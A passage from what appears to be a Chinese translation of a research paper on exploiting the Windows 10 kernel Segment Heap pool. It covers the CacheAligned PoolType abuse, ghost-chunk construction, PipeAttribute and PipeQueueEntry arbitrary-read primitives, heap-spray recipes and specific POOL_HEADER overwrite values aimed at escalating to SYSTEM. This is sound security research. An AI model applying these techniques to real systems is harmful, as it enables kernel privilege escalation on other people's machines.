none;"></span>3.2 PoolType作为目标<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">大多数时候，存储在PoolType中的信息只是用来提供信息；它在分配的时候提供信息，并存储在PoolType中，但不会用于释放机制中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">例如，改变存储在PoolType中的内存类型实际上不会改变分配的内存的类型。不会因为仅仅只改变了PoolType中的一个bit位就会将NonPagedPoolNx类型改为NonPagedPool。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是对于PoolQuota和CacheAligned位来说不是这样的。设置PoolQuota位将触发POOL_HEADER中ProcessBilled指针的使用，以便在释放时解除对配额的引用。如1.2节中所述，对ProcessBilled指针的攻击已经得到了缓解。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以唯一剩下的位就是CacheAligned位。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>块排列混淆</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如2.2节中所示，如果一个请求分配的PoolType中的CacheAligned位被设置，那么块的布局是不同的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当分配器正在释放这种块时，它将尝试寻找原始的块地址，用来在正确的地址释放块。它将在对齐的POOL_HEADER中使用PreviousSize字段。分配器使用一个简单的减法来计算原始块的地址。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> ( AlignedHeader -&gt;PoolType &amp; 4 )<br/>{<br/>OriginalHeader = (QWORD)AlignedHeader - AlignedHeader -&gt;<br/>PreviousSize * 0x10;<br/>OriginalHeader -&gt;PoolType |= 4;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在内核中引入段堆之前，在这个操作之后有几个检查。</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">分配器检查原始块在PoolType中是否设置了MustSucceed位。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用ExpCacheLineSize重新计算两个头之间的偏移量，并且验证两个头之间的偏移量一样。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">分配器检查对齐的头的BlockSize是否等于原始头的BlockSize加对齐头的PreviousSize。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">分配器检查OriginalHeader中保存的指针加上POOL_HEADER的大小是否等于对齐头的地址与ExpPoolQuotaCookie异或的值。</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">自Windows 19H1开始，池分配器使用Segment Heap，所有的检查都不存在了。异或的指针依然存在于原始头之后，但在释放机制中不在进行检查。作者认为有一些检查被错误的删除了。在未来的版本中可能会重新打开这些检查，但是在Windows 10 20H1的预览版中没有这样的补丁。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前，由于缺乏检查，攻击者可以使用PoolType作为攻击向量。攻击者可以使用堆溢出来设置下一个块的PoolType字段的CacheAligned位，并完全控制PreviousSize字段。当块被释放时，释放机制使用受控的PreviousSize字段寻找原始块，并释放它。因为PreviousSize字段存储在一个字节中，所以攻击者可以在原始块地址之前释放任意对齐在0x10上的地址，最多可达0xFF*0x10=0xFF0。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这篇文章的最后一部分将使用本文介绍的技术演示一个通用漏洞利用。它提供了在池溢出或UAF的情况下需要控制的通用对象，以及使用受控数据重用已释放的分配的多个对象和技术。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>4 通用的漏洞利用技术<span style="display: none;"></span></h4><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.1 所需条件<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这一节的目的是为了介绍利用一个漏洞来实现Windows System权限提升的技术。假设攻击者在低完整性级别。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最终的目的是为了开发最通用的漏洞利用程序，可用于不同类型的内存，PagedPool和NonPagedPoolNx，具有不同大小的块和能够提供以下所需条件的任意堆溢出漏洞。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当目标为BlockSize时，漏洞需要提供用一个可控的值重写下一个块的POOL_HEADER的第三个字节的能力。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当目标为PoolType时，漏洞需要提供用一个可控的值重写下一个块的POOL_HEADER的第一个和第四个字节的能力。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在所有的情况下，都需要控制漏洞对象的分配和释放，以最大限度的提升堆喷射的成功率。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.2 利用策略<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所选择的利用策略使用攻击下一个块的POOL_HEADER的PoolType和PreviousSize字段的能力。易受堆溢出漏洞影响的块被称为“漏洞块”，放置在其后的块被称为“被覆盖的块“；</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">正如在3.2节中描述的，通过控制下一个块的POOL_HEADER的PoolType字段和PreviousSize字段，攻击者可以更改被覆盖的块实际释放的位置。可以通过多种方式利用这种原语。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当攻击者将PreviousSize字段设置为漏洞块的大小时，这将允许在UAF的情况下实现池溢出。因此，在请求释放被覆盖的块时，漏洞块将被取代，并处于UAF的状态，图14展示了这个技术。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000614" data-ratio="0.18773006134969325" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="815" src="https://wechat2rss.xlab.app/img-proxy/?k=a32eeb12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcCLDCMXNAwxnba4ibJUIibt8SMDMCicWkNRZ62wRcUSgrSTicDU7bicDeFUw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图14. Exploitation using vulnerable chunk Use-After-Free</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然而，我们选择了另一种技术。该原语可以被用来在漏洞块的中间触发被覆盖的块的释放。可以在漏洞块中伪造一个假的POOL_HEADER（或者是替换它的块），并且使用PoolType攻击重定向该块上的空闲区。这将允许在合法的块中间创建一个虚假的块，并且处于相当好的溢出情况。这个块相应的被称为“幽灵块”。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">幽灵块至少覆盖两个块，漏洞块和被覆盖区块，图15展示了这种技术</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000615" data-ratio="0.2050314465408805" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="795" src="https://wechat2rss.xlab.app/img-proxy/?k=ea409771&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcENGQ5UrDJUcibNLFhYWgGFFfwAA6edrJhWvcYiaUYDe9EtF5MqNPK80g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																								<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图15. 选择的利用技术</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后一项利用技术看起来比UAF更好利用，因为它使得攻击者处于更好的状态来控制任意对象的内容。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后，可以使用允许任何数据控制的对象来重新分配漏洞块。这允许攻击者能够控制部分“幽灵块”中分配的对象。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了放置“幽灵块”，必须找到一个有趣的对象。为了使漏洞利用程序更加通用，对象应该满足下列要求：</p><ol data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">如果可以完全控制或部分控制的情况下，能提供任意读写原语。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">有能力控制它的分配和释放</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">具有最小0x210的可变大小，以便从相应的快表中分配到“幽灵块”中，但要尽可能小（避免在分配时浪费太多堆空间）</section></li></ol><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于漏洞块可以放置在PagedPool和NonPagedPoolNx中，因此需要两个此类对象，一个PagedPool中分配，另一个在NonPagedPoolNx中分配。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这种对象不是常见的，所以作者没有发现完美的此类对象。这就是为什么使用仅能提供任意读原语的对象作为开发EXP策略的原语。攻击者依然可以控制幽灵块的POOL_HEADER。这意味着Quota Pointer Process Overwrite攻击可以被用于获取任意递减原语。ExpPoolQuotaCookie和幽灵块的地址可以使用任意地址读原语恢复。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">开发的利用程序使用的是最后的这个技术。通过利用堆处理和有趣的对象的溢出，实现4个字节溢出转为从低完整性到System完整性的权限提升。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.3 目标对象<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">分页池创建管道后，用户可以向管道添加属性。属性是存储在链表中的键值对。管道属性对象在分页池中分配，使用下面的内核中的结构体来定义。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;">//PipeAttribute是未公开的结构体</span><br/><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">struct</span> <span style="color: #e6c07b;line-height: 26px;">PipeAttribute</span> {</span><br/>LIST_ENTRY <span style="color: #e6c07b;line-height: 26px;">list</span>;<br/><span style="color: #c678dd;line-height: 26px;">char</span> * AttributeName;<br/><span style="color: #c678dd;line-height: 26px;">uint64_t</span> AttributeValueSize ;<br/><span style="color: #c678dd;line-height: 26px;">char</span> * AttributeValue ;<br/><span style="color: #c678dd;line-height: 26px;">char</span> data [<span style="color: #d19a66;line-height: 26px;">0</span>];<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">分配的大小和填充的数据完全由攻击者控制。属性名和属性值是指向数据区不同偏移的两个指针。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以使用NtFsControlFile系统调用和0x11003C控制码在管道上创建管道属性，见下图所示的代码</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">HANDLE read_pipe;<br/>HANDLE write_pipe;<br/><span style="color: #c678dd;line-height: 26px;">char</span> attribute [] = <span style="color: #98c379;line-height: 26px;">&#34;attribute_name \00 attribute_value&#34;</span><br/><span style="color: #c678dd;line-height: 26px;">char</span> output [<span style="color: #d19a66;line-height: 26px;">0</span> x100 ];<br/>CreatePipe(read_pipe , write_pipe , <span style="color: #56b6c2;line-height: 26px;">NULL</span> , bufsize);<br/>NtFsControlFile (write_pipe ,<br/><span style="color: #56b6c2;line-height: 26px;">NULL</span> ,<br/><span style="color: #56b6c2;line-height: 26px;">NULL</span> ,<br/><span style="color: #56b6c2;line-height: 26px;">NULL</span> ,<br/>&amp;status ,<br/><span style="color: #d19a66;line-height: 26px;">0x11003C</span> ,<br/>attribute ,<br/><span style="color: #c678dd;line-height: 26px;">sizeof</span>(attribute),<br/>output ,<br/><span style="color: #c678dd;line-height: 26px;">sizeof</span>(output)<br/>);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以使用0x110038控制码来读取属性值。属性值指针和属性值大小将被用于读取属性值并返回给用户。属性值可以被修改，但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段，它就可以在内核中任意读取数据，但不能任意写。这个对象也非常适合在内核中放置任意数据。这意味着它可以用来申请一个漏洞块并控制幽灵块的内容。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>NonPagedPoolNx</strong></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在管道中使用WriteFile是一种众所周知的NonPagedPoolNx喷射技术。当往管道中写入时，NpAddDataQueueEntry函数会创建下图所示的结构体</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">struct</span> <span style="color: #e6c07b;line-height: 26px;">PipeQueueEntry</span><br/>{</span><br/>LIST_ENTRY <span style="color: #e6c07b;line-height: 26px;">list</span>;<br/>IRP *linkedIRP;<br/>__int64 SecurityClientContext ;<br/><span style="color: #c678dd;line-height: 26px;">int</span> isDataInKernel ;<br/><span style="color: #c678dd;line-height: 26px;">int</span> remaining_bytes__ ;<br/><span style="color: #c678dd;line-height: 26px;">int</span> DataSize;<br/><span style="color: #c678dd;line-height: 26px;">int</span> field_2C;<br/><span style="color: #c678dd;line-height: 26px;">char</span> data [<span style="color: #d19a66;line-height: 26px;">1</span>];<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">PipeQueueEntry的大小和数据是由用户控制的，因为数据直接存储在结构体后面。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当使用函数NpReadDataQueue中的条目时，内核将会遍历条目列表，并使用条目来检索数据。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> ( PipeQueueEntry -&gt; isDataAllocated == <span style="color: #d19a66;line-height: 26px;">1</span> )<br/> data_ptr = (PipeQueueEntry -&gt;linkedIRP -&gt;SystemBuffer);<br/><span style="color: #c678dd;line-height: 26px;">else</span><br/> data_ptr = PipeQueueEntry -&gt;data;<br/>[...]<br/>memmove (( <span style="color: #c678dd;line-height: 26px;">void</span> *)(dst_buf + dst_len - cur_read_offset ), &amp;data_ptr[<br/> PipeQueueEntry -&gt;DataSize - cur_entry_offset ], copy_size);<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果isDataAllocated字段等于1，则数据没有直接存储在结构体后面，但是其指针存储在IRP中，由linkedIRP指向。如果攻击者能够完全控制这个结构体，他可以设置isDataInKernel为1，并且使指针linkIRP在用户层。然后使用用户层的LinkedIRP字段的SystemBuffer字段（偏移0x18）读取条目中的数据。这就提供了一个任意读原语。这个对象也非常适合在内核中存储任意数据。它可以被用于申请一个易受攻击的块且控制幽灵块的内容。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.4 喷射<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">本节描述了喷射内核堆以获取所需的内存布局的技术。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了获取4.2节中介绍的内存布局，必须要进行一些堆喷射。堆喷取决于漏洞块的大小，因为它最终会在不同的分配后端中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了便于喷射可以确保相应的快表是空的。分配超过256个大小合适的块可以确保这一点。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果漏洞块小于0x200，那么它将位于LFH后端。然后，喷射将会在完全相同的块中完成，对相应的bucket粒度求模？以确保他们都从同一个bucket中分配。正如2.1节的介绍，当请求分配时，LFH后端将扫描最多以32个block块为一组的BlockBitmap，并随机选择一个空闲块。在分配的漏洞块的前后各分配超过32个合适大小的块应该可以对抗随机化。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果漏洞块大于0x200但小于0x10000，最终它将在可变大小后端中。然后喷射将以漏洞块的大小完成。过大的块会被分开，因此堆喷将会失败。首先，分配上千个选中大小的块，以确保清空所有FreeChunkTree中大于选中大小的块，然后分配器将分配一个0x10000字节大小的新的VS子段并放在FreeChunkTree中。然后再分配上千个块，最终都位于一个新的大空闲块，因此是连续的。然后释放最后分配的块的三分之一，以填充FreeChunkTree。仅仅释放三分之一以确保没有块被合并。然后使得漏洞块被分配。最终，释放的块将被重新分配以最大限度的增加喷射机会。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于所有的利用技术都需要释放和重新分配漏洞块和幽灵块，因此启动相应的动态快表以简化空闲块的恢复真的非常有趣。为此，一个简单的方案是分配上千个相应大小的块，等两秒，分配另外上千个块并等一秒。因此，我们可以确保平衡管理器重新平衡了相应的快表。分配上千个块以确保快表在最常使用的快表中，因此将被打开并且确保有足够的空间。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>4.5 利用<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>演示设置</strong> 为了演示下面的利用，创建了一个虚假的漏洞。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">开发了一个windows驱动，暴露了许多IOCTL，他们可以：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在PagedPool中分配一个大小可控的块</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在块中触发一个受控的memcpy，实现一个受控的池溢出</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">释放分配的块</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当然，这仅仅是为了做一个演示，并且提供了更多漏洞利用所需的控制。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这些设置允许攻击者可以：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">控制漏洞块的大小，这不是强制的，但是最好可以实现，因为可控的大小会简化漏洞利用。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">控制漏洞块的分配和释放</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">使用受控的值覆盖下一个块的POOL_HEADER的前4个字节</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当然，漏洞块分配在PagedPool中。这非常重要，因为池的类型也许会改变在利用中使用的对象，同时对利用程序自身也有很大的影响。此外，针对NonPagedPoolNx的利用是非常相似的，仅使用PipeQueueEntry就可以取代PipeAttribute，实现喷射并得到任意读原语。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对于这个例子，将选择0x180作为漏洞块的大小。关于漏洞块的大小和漏洞利用中的影响将在4.6节中讨论。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>创建幽灵块</strong> 这里的第一步是处理堆，以便在漏洞块后放置受控的对象。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">用来覆盖块的对象可以是任意的，唯一需要控制的是什么时候释放。为了简化利用，最好选择一个可以被喷射对象，在4.2节中可以看到。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">现在可以触发漏洞了，被覆盖的POOL_HEADER要被以下值取代：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PreviousSizes：0x15。此大小将乘以0x10。0x180-0x150=0x30，漏洞块中虚假的POOL_HEADER的偏移。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolIndex：0，或者是任意值，这个值没有使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">BlockSize：0，或者是任意值，这个值没有使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolType：PoolType|4，设置CacheAligned位</section></li></ul><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000619" data-ratio="0.1677175283732661" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="793" src="https://wechat2rss.xlab.app/img-proxy/?k=968a53db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcmXEkECGDGicsmUe9tWzwhSpnXaDPZeAKlfrE76ejacOicW9ntdRM6x3A%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图16. 触发溢出</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">虚假的POOL_HEADER必须放在漏洞块的已知偏移处。这是通过释放漏洞块对象且使用PipeAttribute对象重新分配块实现的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了演示，虚假POOL_HEADER在易受攻击的块偏移0x30位置处。虚假的POOL_HEADER格式如下：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PreviousSize：0，或任意值，这个值没有被使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolIndex：0，或任意值，这个值没有被使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">BlockSize：0x21，这个值将乘以0x10，且是已释放的块的大小</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolType：PoolType，不要设置CacheAligned和PoolQuota位</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">BlockSize的选择不是随机的，它是实际要释放的块的大小。由于目标是在之后重用此分配，因此需要选一个易于重用的大小。由于所有小于0x200的块都在LFH中，因此必须避免这样的大小。不在LFH中的最小大小为0x200，块的大小为0x210。0x210大小使用VS 分配器，并且有资格使用2.1节中描述的动态快表。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以通过喷射和释放0x210字节的块来启用。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 